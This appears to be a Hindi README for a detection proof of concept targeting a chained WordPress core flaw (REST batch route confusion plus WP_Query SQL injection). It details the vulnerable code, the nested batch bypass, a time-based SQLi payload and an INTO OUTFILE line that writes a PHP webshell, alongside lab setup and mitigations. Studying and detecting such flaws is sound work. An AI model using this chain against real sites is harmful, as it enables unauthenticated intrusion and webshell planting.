
REST API batch route भ्रम + WP_Query SQLi के माध्यम से WordPress Core में Pre-auth RCE (CVE-2026-63030 / CVE-2026-60137). Detection PoC.
पूर्व-प्रमाणीकरण, अप्रमाणित, किसी प्लगइन की आवश्यकता नहीं। REST API बैच एंडपॉइंट के माध्यम से एक स्टॉक WordPress इंस्टॉल पर काम करता है।
| CVE | CVE-2026-63030 (रूट कन्फ्यूज़न → RCE) + CVE-2026-60137 (SQLi) |
| GHSA | GHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf |
| खोजकर्ता | Adam Kues — Assetnote / Searchlight Cyber (उपनाम "wp2shell") |
| प्रभावित | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (पूर्ण RCE श्रृंखला) · 6.8.0 – 6.8.5 (केवल SQLi) |
| पैच किया गया | 6.8.6, 6.9.5, 7.0.2, 7.1-beta2 |
| CVSS | क्रिटिकल (RCE श्रृंखला) / मध्यम (SQLi अकेला) |
| शोधकर्ता का ब्लॉग | https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ |
WordPress कोर में दो बग, जो अप्रमाणित रिमोट कोड निष्पादन में श्रृंखलाबद्ध हो सकते हैं:
WP_Query में SQL इंजेक्शन जब author__not_in एक स्ट्रिंग होता है बजाय एक सरणी के — is_array() सैनिटाइज़ेशन गार्ड को छोड़ दिया जाता है और कच्चा मान एक NOT IN (...) खंड में सम्मिलित हो जाता है।WP_REST_Server::serve_batch_request_v1() में बैच रूट कन्फ्यूज़न — WP_Error उप-अनुरोधों को $validation[] में धकेल दिया जाता है लेकिन $matches[] में नहीं, जिससे +1 इंडेक्स शिफ्ट होता है। उप-अनुरोध i गलती से उप-अनुरोध i+1 के हैंडलर के साथ भेज दिया जाता है।कोई भी बग अकेला पर्याप्त नहीं है: REST API author_exclude को WP_Query तक पहुँचने से पहले सैनिटाइज़ करता है (type: array, items: integer), और बैच एंडपॉइंट GET उप-अनुरोधों को अस्वीकार करता है (enum: POST, PUT, PATCH, DELETE)। दोहरे कन्फ्यूज़न के माध्यम से उन्हें श्रृंखलाबद्ध करके दोनों सुरक्षाओं को बाइपास किया जाता है और SQLi तक अप्रमाणित पहुँच प्राप्त की जाती है।
src/wp-includes/class-wp-query.php (CVE-2026-60137)कमज़ोर (6.9.4):
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // स्ट्रिंग → छोड़ दिया गया
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
जब author__not_in एक स्ट्रिंग होता है, तो is_array() शाखा को छोड़ दिया जाता है; (array) "payload" का मान ["payload"] होता है; implode(',', ...) कच्ची स्ट्रिंग लौटाता है, जो सीधे SQL में सम्मिलित हो जाती है।
फिक्स (6.9.5): wp_parse_id_list() का उपयोग करें जो किसी भी इनपुट आकार को स्वीकार करता है और एक सैनिटाइज़्ड पूर्णांक सूची लौटाता है।
src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)// मान्यकरण लूप
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] नहीं जोड़ा गया
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// प्रेषण लूप — मूल $i के साथ $matches[$i] को अनुक्रमित करता है
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← WP_Error के बाद एक-से-कम
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
पोज़ीशन 0 पर एक एकल WP_Error उप-अनुरोध (जैसे, गलत पथ) प्रत्येक बाद की प्रविष्टि को एक से शिफ्ट कर देता है। फिर अनुरोध i को अनुरोध i+1 के हैंडलर के साथ भेज दिया जाता है।
फिक्स (6.9.5): एरर केस के लिए भी $matches[] = $single_request; जोड़ें। अतिरिक्त सख्ती एक प्रेषण पहले से चल रहे होने पर rest_api_loaded() / serve_request() को शॉर्ट-सर्किट करती है।
┌──────────────────────────────────────────────────────────────────────┐
│ बाहरी बैच (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, $matches में नहीं │
│ [1] path = "/wp/v2/categories" → बॉडी में नेस्टेड बैच लेकर चलता है │
│ body = { "name": "x", │
│ "requests": [ आंतरिक_बैच ] } │
│ श्रेणियों के विरुद्ध मान्य किया गया → "requests" फ़ील्ड अछूता │
│ [2] path = "/batch/v1" → बैच हैंडलर → [1] पर शिफ्ट होता है │
│ │
│ बाहरी शिफ्ट: request[1] request[2] के हैंडलर = │
│ serve_batch_request_v1 के साथ भेजा गया। बैच एंडपॉइंट में कोई │
│ permission_callback नहीं है → अप्रमाणित फायर करता है। request[1] │
│ के बॉडी को *श्रेणियों* रूट के विरुद्ध मान्य किया गया था, इसलिए │
│ नेस्टेड उप-अनुरोधों को बैच विधि एनम के विरुद्ध कभी जाँचा नहीं गया │
│ → आंतरिक उप-अनुरोध GET का उपयोग कर सकते हैं। │
├──────────────────────────────────────────────────────────────────────┤
│ आंतरिक बैच (serve_batch_request_v1 के अंदर संसाधित) │
│ │
│ [0] path = "http://" → WP_Error, $matches में नहीं │
│ [1] GET /wp/v2/categories │
│ ?author_exclude=<SQLi_PAYLOAD> │
│ श्रेणियों के विरुद्ध मान्य किया गया → author_exclude सैनिटाइज़│
│ नहीं हुआ │
│ [2] GET /wp/v2/posts → get_items हैंडलर → [1] पर शिफ्ट │
│ │
│ आंतरिक शिफ्ट: inner[1] inner[2] के हैंडलर = │
│ WP_REST_Posts_Controller::get_items के साथ भेजा गया। असैनिटाइज़्ड │
│ स्ट्रिंग author_exclude को author__not_in पर मैप किया जाता है और │
│ WP_Query को भेजा जाता है → SQL इंजेक्शन। │
└──────────────────────────────────────────────────────────────────────┘
परिणामी SQL खंड है:
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
SLEEP(N) प्रत्येक मेल खाने वाली पोस्ट पंक्ति के लिए एक बार फायर करता है, इसलिए कुल विलंब लगभग N × <प्रकाशित पोस्टों की संख्या> सेकंड है।
SELECT-केवल इंजेक्शन (कोई स्टैक्ड क्वेरी नहीं, $wpdb mysqli_query का उपयोग करता है) अभी भी विशिष्ट LAMP स्टैक पर RCE देता है जब MySQL उपयोगकर्ता के पास FILE विशेषाधिकार होता है — जो कई साझा होस्टर्स और स्व-प्रबंधित सर्वरों पर डिफ़ॉल्ट है:
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
वेब रूट में एक PHP वेबशेल लिखता है, जो /x.php पर पहुँच योग्य है।
वैकल्पिक पथ (कोई FILE विशेषाधिकार आवश्यक नहीं) में UNION/बूलियन ब्लाइंड SQLi के माध्यम से व्यवस्थापक पासवर्ड हैश पढ़ना और प्रमाणित व्यवस्थापक UI के माध्यम से एक दुर्भावनापूर्ण प्लगइन अपलोड करना शामिल है।
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
PoC दो गैर-विनाशकारी परीक्षण करता है:
| परीक्षण | विधि | सुरक्षित? |
|---|---|---|
# मूल उपयोग
python3 poc_wp_batch_sqli.py -t http://target/
# तेज़ ट्राइज के लिए छोटा SLEEP
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3
# केवल संरचनात्मक रूट-कन्फ्यूज़न परीक्षण (कोई SLEEP नहीं)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only
# वर्बोज़ / कोई रंग नहीं
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color
एक कमज़ोर 6.9.4 इंस्टेंस के विरुद्ध उदाहरण आउटपुट:
[+] पुष्टि — आंतरिक अनुरोध[1] (श्रेणियाँ) ने पोस्ट डेटा लौटाया।
दोहरा कन्फ्यूज़न सक्रिय: बाहरी स्तर बैच विधि एनम को बाइपास करता है,
आंतरिक स्तर श्रेणी पैरामीटर्स को पोस्ट हैंडलर के साथ भेजता है।
[*] समय-आधारित ब्लाइंड SQLi पता लगाना (SLEEP=3s)
बेसलाइन: 0.04s
पेलोड: 9.07s (Δ +9.02s)
[+] कमज़ोर — प्रतिक्रिया में 9.0s की देरी (≈ 3 पोस्ट पंक्ति(याँ) × SLEEP(3))।
कोई देरी नहीं / कोई संरचनात्मक कन्फ्यूज़न नहीं ⇒ पैच किया गया (6.8.6 / 6.9.5 / 7.0.2)।
requests (pip install requests)पुनरुत्पादन का सबसे आसान तरीका आधिकारिक Docker इमेजेज़ के साथ है (ऑटो-अपडेटर ने प्रकटीकरण के घंटों के भीतर अधिकांश लाइव इंस्टेंस को पैच कर दिया होगा):
docker network create wp
docker run -d --name wp-db --network wp \
-e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
-e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
-e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
wordpress:6.9.4-php8.2
# इंस्टॉलर चलाएँ (या wp-cli का उपयोग करें)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode weblog_title=T \
--data-urlencode user_name=admin \
--data-urlencode admin_password=adminpassword123 \
--data-urlencode admin_password2=adminpassword123 \
--data-urlencode pw_weak=1 \
--data-urlencode [email protected] \
--data-urlencode blog_public=0
python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3
INTO OUTFILE → RCE चरण के लिए, FILE विशेषाधिकार प्रदान करें और सुनिश्चित करें कि DB प्रक्रिया वेब रूट (एकल-सर्वर LAMP, या Docker में एक साझा वॉल्यूम) में लिख सके:
GRANT FILE ON *.* TO 'wp'@'%';
WP_AUTO_UPDATE_CORE), इसलिए अधिकांश लाइव साइटें पहले से ही पैच की जा चुकी हैं।POST /wp-json/batch/v1POST /index.php?rest_route=/batch/v1FILE विशेषाधिकार रद्द करें:
REVOKE FILE ON *.* FROM 'wp_user'@'%';
secure_file_priv सेट है (खाली नहीं):
secure_file_priv = /var/lib/mysql-files
| तिथि | घटना |
|---|---|
| 2026-07-17 | WordPress 6.8.6 / 6.9.5 / 7.0.2 जारी |
| 2026-07-17 | GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf प्रकाशित |
| 2026-07-17 | Assetnote / Searchlight Cyber ने "wp2shell" सलाह + https://wp2shell.com चेकर प्रकाशित किया |
src/wp-includes/class-wp-query.phpsrc/wp-includes/rest-api.phpsrc/wp-includes/rest-api/class-wp-rest-server.phpइस रिपॉजिटरी में केवल एक पता लगाने का PoC है — यह समय-आधारित ब्लाइंड SQLi और संरचनात्मक प्रतिक्रिया निरीक्षण का उपयोग करता है। यह नहीं डेटा निकालता, फ़ाइलें लिखता, या RCE का प्रयास करता है। इस कोड के प्रकाशित होने से पहले भेद्यता को पहले ही पैच कर दिया गया था और WordPress और मूल शोधकर्ता द्वारा सार्वजनिक रूप से प्रकट किया गया था।
केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके आप मालिक हैं या परीक्षण करने के लिए अधिकृत हैं।
MIT — LICENSE देखें।
| रूट कन्फ्यूज़न (CVE-2026-63030) |
| संरचनात्मक — आंतरिक अनुरोध[1] (श्रेणियाँ) को पोस्ट हैंडलर के साथ भेजा गया है या नहीं, यह प्रतिक्रिया बॉडी में पोस्ट-केवल फ़ील्ड की जाँच करके सत्यापित करता है |
| हाँ |
| SQLi (CVE-2026-60137) | समय-आधारित ब्लाइंड — author_exclude के माध्यम से SLEEP(N) इंजेक्ट करता है और एक सौम्य बेसलाइन बनाम विलंबता मापता है | हाँ |